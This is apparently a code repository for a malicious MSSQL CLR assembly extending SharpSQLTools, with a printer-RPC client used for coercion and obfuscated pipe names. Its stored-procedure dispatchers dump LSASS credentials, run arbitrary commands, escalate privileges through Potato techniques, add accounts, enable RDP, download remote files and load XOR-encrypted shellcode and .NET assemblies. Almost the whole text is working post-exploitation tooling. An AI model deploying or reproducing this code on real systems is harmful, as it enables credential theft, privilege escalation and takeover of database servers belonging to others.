35 | InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64_clamav2, "\\" + Reverse("epip") + "\\" + Reverse("ssloops"));
36 | }
37 | else
38 | {
39 | InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86_clamav2, "\\" + Reverse("epip") + "\\" + Reverse("ssloops"));
40 | }
41 | }
42 |
43 | [SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]
44 | ~rprn()
45 | {
46 | freeStub();
47 | }
48 |
49 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
50 | public struct DEVMODE_CONTAINER
51 | {
52 | Int32 cbBuf;
53 | IntPtr pDevMode;
54 | }
55 |
56 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
57 | public struct RPC_V2_NOTIFY_OPTIONS_TYPE
58 | {
59 | UInt16 Type;
60 | UInt16 Reserved0;
61 | UInt32 Reserved1;
62 | UInt32 Reserved2;
63 | UInt32 Count;
64 | IntPtr pFields;
65 | };
66 |
67 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
68 | public struct RPC_V2_NOTIFY_OPTIONS
69 | {
70 | UInt32 Version;
71 | UInt32 Reserved;
72 | UInt32 Count;
73 | /* [unique][size_is] */
74 | RPC_V2_NOTIFY_OPTIONS_TYPE pTypes;
75 | };
76 |
77 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
78 | public Int32 RpcOpenPrinter(string pPrinterName, out IntPtr pHandle, string pDatatype, ref DEVMODE_CONTAINER pDevModeContainer, Int32 AccessRequired)
79 | {
80 | IntPtr result = IntPtr.Zero;
81 | IntPtr intptrPrinterName = Marshal.StringToHGlobalUni(pPrinterName);
82 | IntPtr intptrDatatype = Marshal.StringToHGlobalUni(pDatatype);
83 | pHandle = IntPtr.Zero;
84 | try
85 | {
86 | if (IntPtr.Size == 8)
87 | {
88 | result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(36), pPrinterName, out pHandle, pDatatype, ref pDevModeContainer, AccessRequired);
89 | }
90 | else
91 | {
92 | IntPtr tempValue = IntPtr.Zero;
93 | GCHandle handle = GCHandle.Alloc(tempValue, GCHandleType.Pinned);
94 | IntPtr tempValuePointer = handle.AddrOfPinnedObject();
95 | GCHandle handleDevModeContainer = GCHandle.Alloc(pDevModeContainer, GCHandleType.Pinned);
96 | IntPtr tempValueDevModeContainer = handleDevModeContainer.AddrOfPinnedObject();
97 | try
98 | {
99 | result = CallNdrClientCall2x86(34, intptrPrinterName, tempValuePointer, intptrDatatype, tempValueDevModeContainer, new IntPtr(AccessRequired));
100 | // each pinvoke work on a copy of the arguments (without an out specifier)
101 | // get back the data
102 | pHandle = Marshal.ReadIntPtr(tempValuePointer);
103 | }
104 | finally
105 | {
106 | handle.Free();
107 | handleDevModeContainer.Free();
108 | }
109 | }
110 | }
111 | catch (SEHException)
112 | {
113 | Trace.WriteLine("RpcOpenPrinter failed 0x" + Marshal.GetExceptionCode().ToString("x"));
114 | return Marshal.GetExceptionCode();
115 | }
116 | finally
117 | {
118 | if (intptrPrinterName != IntPtr.Zero)
119 | Marshal.FreeHGlobal(intptrPrinterName);
120 | if (intptrDatatype != IntPtr.Zero)
121 | Marshal.FreeHGlobal(intptrDatatype);
122 | }
123 | return (int)result.ToInt64();
124 | }
125 |
126 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
127 | public Int32 RpcClosePrinter(ref IntPtr ServerHandle)
128 | {
129 | IntPtr result = IntPtr.Zero;
130 | try
131 | {
132 | if (IntPtr.Size == 8)
133 | {
134 | result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(1076), ref ServerHandle);
135 | }
136 | else
137 | {
138 | IntPtr tempValue = ServerHandle;
139 | GCHandle handle = GCHandle.Alloc(tempValue, GCHandleType.Pinned);
140 | IntPtr tempValuePointer = handle.AddrOfPinnedObject();
141 | try
142 | {
143 | result = CallNdrClientCall2x86(1018, tempValuePointer);
144 | // each pinvoke work on a copy of the arguments (without an out specifier)
145 | // get back the data
146 | ServerHandle = Marshal.ReadIntPtr(tempValuePointer);
147 | }
148 | finally
149 | {
150 | handle.Free();
151 | }
152 | }
153 | }
154 | catch (SEHException)
155 | {
156 | Trace.WriteLine("RpcClosePrinter failed 0x" + Marshal.GetExceptionCode().ToString("x"));
157 | return Marshal.GetExceptionCode();
158 | }
159 | return (int)result.ToInt64();
160 | }
161 |
162 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
163 | public Int32 RpcRemoteFindFirstPrinterChangeNotificationEx(
164 | /* [in] */ IntPtr hPrinter,
165 | /* [in] */ UInt32 fdwFlags,
166 | /* [in] */ UInt32 fdwOptions,
167 | /* [unique][string][in] */ string pszLocalMachine,
168 | /* [in] */ UInt32 dwPrinterLocal)
169 | {
170 | IntPtr result = IntPtr.Zero;
171 | IntPtr intptrLocalMachine = Marshal.StringToHGlobalUni(pszLocalMachine);
172 | try
173 | {
174 | if (IntPtr.Size == 8)
175 | {
176 | result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(2308), hPrinter, fdwFlags, fdwOptions, pszLocalMachine, dwPrinterLocal, IntPtr.Zero);
177 | }
178 | else
179 | {
180 | try
181 | {
182 | result = CallNdrClientCall2x86(2178, hPrinter, new IntPtr(fdwFlags), new IntPtr(fdwOptions), intptrLocalMachine, new IntPtr(dwPrinterLocal), IntPtr.Zero);
183 | // each pinvoke work on a copy of the arguments (without an out specifier)
184 | // get back the data
185 | }
186 | finally
187 | {
188 | }
189 | }
190 | }
191 | catch (SEHException)
192 | {
193 | Trace.WriteLine("RpcRemoteFindFirstPrinterChangeNotificationEx failed 0x" + Marshal.GetExceptionCode().ToString("x"));
194 | return Marshal.GetExceptionCode();
195 | }
196 | finally
197 | {
198 | if (intptrLocalMachine != IntPtr.Zero)
199 | Marshal.FreeHGlobal(intptrLocalMachine);
200 | }
201 | return (int)result.ToInt64();
202 | }
203 | }
204 | }
205 |
--------------------------------------------------------------------------------
/Database/StoredProcedures.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text.RegularExpressions;
3 | using CLR_module;
4 | using Microsoft.SqlServer.Server;
5 |
6 | public class StoredProcedures
7 | {
8 | [SqlProcedure]
9 | public static void ClrExec(string cmd)
10 | {
11 | if (cmd.Contains("clr_dumplsass"))
12 | {
13 | string[] array = cmd.Split(' ');
14 | string environmentVariable = Environment.GetEnvironmentVariable("SystemRoot");
15 | string dumpDir = $"{environmentVariable}\\Temp\\";
16 | if (array.Length == 1)
17 | {
18 | dumplsass.run(dumpDir);
19 | }
20 | else
21 | {
22 | dumplsass.run(array[1]);
23 | }
24 | }
25 | else if (cmd.Contains("clr_pwd"))
26 | {
27 | basefun.GetCurrentDir();
28 | }
29 | else if (cmd.Contains("clr_ls"))
30 | {
31 | string[] array2 = cmd.Split(' ');
32 | if (array2.Length == 1)
33 | {
34 | basefun.ListDir("");
35 | }
36 | else
37 | {
38 | basefun.ListDir(array2[1]);
39 | }
40 | }
41 | else if (cmd.Contains("clr_cd"))
42 | {
43 | string[] array3 = cmd.Split(' ');
44 | basefun.SetCurrentDir(array3[1]);
45 | }
46 | else if (cmd.Contains("clr_ping"))
47 | {
48 | string[] array4 = cmd.Split(' ');
49 | basefun.ping(array4[1]);
50 | }
51 | else if (cmd.Contains("clr_rm"))
52 | {
53 | string[] array5 = cmd.Split(' ');
54 | basefun.DeleteFile(array5[1]);
55 | }
56 | else if (cmd.Contains("clr_cat"))
57 | {
58 | string[] array6 = cmd.Split(' ');
59 | basefun.GetContent(array6[1]);
60 | }
61 | else if (cmd.Contains("clr_ps"))
62 | {
63 | basefun.ListProcess();
64 | }
65 | else if (cmd.Contains("clr_netstat"))
66 | {
67 | basefun.netstat();
68 | }
69 | else if (cmd.Contains("clr_getav"))
70 | {
71 | getav.run();
72 | }
73 | else if (cmd.Contains("clr_rdp"))
74 | {
75 | RDP.run();
76 | }
77 | else if (cmd.Contains("clr_adduser"))
78 | {
79 | string[] array7 = cmd.Split(' ');
80 | string userName = array7[1];
81 | string password = array7[2];
82 | adduser.add(userName, password);
83 | }
84 | else if (cmd.Contains("clr_cmd"))
85 | {
86 | string cmd2 = cmd.Replace("clr_cmd ", "");
87 | exec.run(cmd2);
88 | }
89 | else if (cmd.Contains("clr_exec"))
90 | {
91 | string text = cmd.Replace("clr_exec ", "");
92 | if (text.Contains("-p"))
93 | {
94 | if (text.Contains("-a"))
95 | {
96 | text = text.Replace("-p ", "");
97 | string[] array8 = Regex.Split(text, "-a");
98 | string proc = array8[0];
99 | string arg = array8[1];
100 | exec.run1(proc, arg);
101 | }
102 | else
103 | {
104 | text = text.Replace("-p ", "");
105 | exec.run1(text, "");
106 | }
107 | }
108 | else
109 | {
110 | exec.run(text);
111 | }
112 | }
113 | else if (cmd.Contains("clr_efspotato"))
114 | {
115 | string text2 = cmd.Replace("clr_efspotato ", "");
116 | if (text2.Contains("-p"))
117 | {
118 | if (text2.Contains("-a"))
119 | {
120 | text2 = text2.Replace("-p ", "");
121 | string[] array9 = Regex.Split(text2, "-a");
122 | string program = array9[0];
123 | string programArgs = array9[1];
124 | Potato.EfsPotatoProg(program, programArgs);
125 | }
126 | else
127 | {
128 | text2 = text2.Replace("-p ", "");
129 | Potato.EfsPotatoProg(text2, "");
130 | }
131 | }
132 | else
133 | {
134 | Potato.EfsPotatoExec(text2);
135 | }
136 | }
137 | else if (cmd.Contains("clr_badpotato"))
138 | {
139 | string text3 = cmd.Replace("clr_badpotato ", "");
140 | if (text3.Contains("-p"))
141 | {
142 | if (text3.Contains("-a"))
143 | {
144 | text3 = text3.Replace("-p ", "");
145 | string[] array10 = Regex.Split(text3, "-a");
146 | string prog = array10[0];
147 | string arg2 = array10[1];
148 | BadPotato.BadPotatoPorc(prog, arg2);
149 | }
150 | else
151 | {
152 | text3 = text3.Replace("-p ", "");
153 | BadPotato.BadPotatoPorc(text3, "");
154 | }
155 | }
156 | else
157 | {
158 | BadPotato.BadPotatoCMD(text3);
159 | }
160 | }
161 | else if (cmd.Contains("clr_download"))
162 | {
163 | string[] array11 = cmd.Split(' ');
164 | string url = array11[1];
165 | string localpath = array11[2];
166 | download.run(url, localpath);
167 | }
168 | else if (cmd.Contains("clr_combine"))
169 | {
170 | string[] array12 = cmd.Split(' ');
171 | string remoteFile = array12[1];
172 | basefun.run(remoteFile);
173 | }
174 | else if (cmd.Contains("clr_scloader"))
175 | {
176 | string[] array13 = cmd.Split(' ');
177 | if (array13[0] == "clr_scloader")
178 | {
179 | string code = array13[1];
180 | string key = array13[2];
181 | shellcodeloader.run(code, key);
182 | }
183 | else if (array13[0] == "clr_scloader1")
184 | {
185 | string file = array13[1];
186 | string key2 = array13[2];
187 | shellcodeloader.run1(file, key2);
188 | }
189 | else if (array13[0] == "clr_scloader2")
190 | {
191 | string file2 = array13[1];
192 | shellcodeloader.run2(file2);
193 | }
194 | }
195 | else
196 | {
197 | SqlContext.Pipe.Send("Command error");
198 | }
199 | }
200 | }
201 |
--------------------------------------------------------------------------------
/Database/sharpsql.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data;
3 | using System.Data.SqlClient;
4 | using System.Data.SqlTypes;
5 | using System.Text.RegularExpressions;
6 | using Microsoft.SqlServer.Server;
7 | using CLR_module;
8 | using System.Text;
9 | using static System.Net.Mime.MediaTypeNames;
10 |
11 | public class StoredProcedures
12 | {
13 | private static StringBuilder _buffer = new StringBuilder();
14 | [Microsoft.SqlServer.Server.SqlProcedure]
15 | public static void ClrExec(string cmd)
16 | {
17 | Patch.StartPatch();
18 | if (cmd.Contains("clr_dumplsass"))
19 | {
20 | string[] array = cmd.Split(' ');
21 | string environmentVariable = Environment.GetEnvironmentVariable("SystemRoot");
22 | string dumpDir = $"{environmentVariable}\\Temp\\";
23 | if (array.Length == 1)
24 | {
25 | dumplsass.run(dumpDir);
26 | }
27 | else
28 | {
29 | dumplsass.run(array[1]);
30 | }
31 | }
32 | else if (cmd.Contains("clr_pwd"))
33 | {
34 | basefun.GetCurrentDir();
35 | }
36 | else if (cmd.Contains("clr_ls"))
37 | {
38 | string[] array2 = cmd.Split(' ');
39 | if (array2.Length == 1)
40 | {
41 | basefun.ListDir("");
42 | }
43 | else
44 | {
45 | basefun.ListDir(array2[1]);
46 | }
47 | }
48 | else if (cmd.Contains("clr_cd"))
49 | {
50 | string[] array3 = cmd.Split(' ');
51 | basefun.SetCurrentDir(array3[1]);
52 | }
53 | else if (cmd.Contains("clr_ping"))
54 | {
55 | string[] array4 = cmd.Split(' ');
56 | basefun.ping(array4[1]);
57 | }
58 | else if (cmd.Contains("clr_rm"))
59 | {
60 | string[] array5 = cmd.Split(' ');
61 | basefun.DeleteFile(array5[1]);
62 | }
63 | else if (cmd.Contains("clr_cat"))
64 | {
65 | string[] array6 = cmd.Split(' ');
66 | basefun.GetContent(array6[1]);
67 | }
68 | else if (cmd.Contains("clr_ps"))
69 | {
70 | basefun.ListProcess();
71 | }
72 | else if (cmd.Contains("clr_netstat"))
73 | {
74 | basefun.netstat();
75 | }
76 | else if (cmd.Contains("clr_getav"))
77 | {
78 | getav.run();
79 | }
80 | else if (cmd.Contains("clr_rdp"))
81 | {
82 | RDP.run();
83 | }
84 | else if (cmd.Contains("clr_adduser"))
85 | {
86 | string[] array7 = cmd.Split(' ');
87 | string userName = array7[1];
88 | string password = array7[2];
89 | adduser.add(userName, password);
90 | }
91 | else if (cmd.Contains("clr_cmd"))
92 | {
93 | string cmd2 = cmd.Replace("clr_cmd ", "");
94 | exec.run(cmd2);
95 | }
96 | else if (cmd.Contains("clr_exec"))
97 | {
98 | string text = cmd.Replace("clr_exec ", "");
99 | if (text.Contains("-p"))
100 | {
101 | if (text.Contains("-a"))
102 | {
103 | text = text.Replace("-p ", "");
104 | string[] array8 = Regex.Split(text, "-a");
105 | string proc = array8[0];
106 | string arg = array8[1];
107 | exec.run1(proc, arg);
108 | }
109 | else
110 | {
111 | text = text.Replace("-p ", "");
112 | exec.run1(text, "");
113 | }
114 | }
115 | else
116 | {
117 | exec.run(text);
118 | }
119 | }
120 | else if (cmd.Contains("clr_efspotato"))
121 | {
122 | string text2 = cmd.Replace("clr_efspotato ", "");
123 | if (text2.Contains("-p"))
124 | {
125 | if (text2.Contains("-a"))
126 | {
127 | text2 = text2.Replace("-p ", "");
128 | string[] array9 = Regex.Split(text2, "-a");
129 | string program = array9[0];
130 | string programArgs = array9[1];
131 | Potato.EfsPotatoProg(program, programArgs);
132 | }
133 | else
134 | {
135 | text2 = text2.Replace("-p ", "");
136 | Potato.EfsPotatoProg(text2, "");
137 | }
138 | }
139 | else
140 | {
141 | Potato.EfsPotatoExec(text2);
142 | }
143 | }
144 | else if (cmd.Contains("clr_badpotato"))
145 | {
146 | string text3 = cmd.Replace("clr_badpotato ", "");
147 | if (text3.Contains("-p"))
148 | {
149 | if (text3.Contains("-a"))
150 | {
151 | text3 = text3.Replace("-p ", "");
152 | string[] array10 = Regex.Split(text3, "-a");
153 | string prog = array10[0];
154 | string arg2 = array10[1];
155 | BadPotato.BadPotatoPorc(prog, arg2);
156 | }
157 | else
158 | {
159 | text3 = text3.Replace("-p ", "");
160 | BadPotato.BadPotatoPorc(text3, "");
161 | }
162 | }
163 | else
164 | {
165 | BadPotato.BadPotatoCMD(text3);
166 | }
167 | }
168 | else if (cmd.Contains("clr_godpotato"))
169 | {
170 | string text4 = cmd.Replace("clr_godpotato ", "");
171 | if (text4.Contains("-p"))
172 | {
173 | if (text4.Contains("-a"))
174 | {
175 | text4 = text4.Replace("-p ", "");
176 | string[] array10 = Regex.Split(text4, "-a");
177 | string prog = array10[0];
178 | string arg2 = array10[1];
179 | GodPotatoRun.GodPotatoPorc(prog, arg2);
180 | }
181 | else
182 | {
183 | text4 = text4.Replace("-p ", "");
184 | BadPotato.BadPotatoPorc(text4, "");
185 | }
186 | }
187 | else
188 | {
189 | GodPotatoRun.GodPotatoPorc("", text4);
190 | }
191 | }
192 | else if (cmd.Contains("clr_download"))
193 | {
194 | string[] array11 = cmd.Split(' ');
195 | string url = array11[1];
196 | string localpath = array11[2];
197 | download.run(url, localpath);
198 | }
199 | else if (cmd.Contains("clr_combine"))
200 | {
201 | string[] array12 = cmd.Split(' ');
202 | string remoteFile = array12[1];
203 | basefun.run(remoteFile);
204 | }
205 | else if (cmd.Contains("clr_scloader"))
206 | {
207 | string text6 = cmd.Replace("clr_scloader ", "");
208 | string[] array13 = cmd.Split(' ');
209 | string payload = array13[0];
210 | string xor_key = array13[1];
211 | if (array13[0] == "clr_scloader")
212 | {
213 | string code = array13[1];
214 | string key = array13[2];
215 |
216 | }
217 | shellcodeloader.run(payload, xor_key);
218 |
219 | }
220 | else if (cmd.Contains("clr_assembly"))
221 | {
222 | try {
223 | string text5 = cmd.Replace("clr_assembly ", "");
224 | string[] array14 = text5.Split(' ');
225 | string payload = array14[0];
226 | string xor_key = array14[1];
227 | string result = AsmLoader.loadAsmBin(payload, xor_key);
228 | int maxLength = 4000;
229 | if (result.Length <= maxLength)
230 | {
231 | SqlContext.Pipe.Send(result);
232 | }
233 | else
234 | {
235 | int totalParts = (int)Math.Ceiling((double)result.Length / maxLength);
236 | for (int i = 0; i < totalParts; i++)
237 | {
238 | int startIndex = i * maxLength;
239 | int length = (i == totalParts - 1) ? result.Length - startIndex : maxLength;
240 | string part = result.Substring(startIndex, length);
241 | SqlContext.Pipe.Send(part);
242 | }
243 | }
244 | } catch (Exception es)
245 | {
246 | SqlContext.Pipe.Send(es.ToString());
247 | }
248 |
249 | }
250 | else
251 | {
252 | SqlContext.Pipe.Send("Command error");
253 | }
254 | }
255 | }
256 |
--------------------------------------------------------------------------------
/README.MD:
--------------------------------------------------------------------------------
1 | # MSSQL CLR
2 |
3 | 在 [SharpSQLTools](https://github.com/uknowsec/SharpSQLTools) CLR的基础上进行了功能增加和修改。
4 |
5 | ## Update
6 | - 增加了[GodPotato](https://github.com/BeichenDream/GodPotato)的功能。
7 | - 修改了Shellcode执行功能,可直接指定本地shellcode文件,无需上传;
8 | - 增加了执行Assembly的功能,主要通过shellcode的方式来实现,可借助于[donut](https://github.com/TheWover/donut) 实现。
9 |
10 |
11 | ## PySQLTools
12 | 上述CLR已集成至 [PySQLTools](https://github.com/Ridter/PySQLTools)。
--------------------------------------------------------------------------------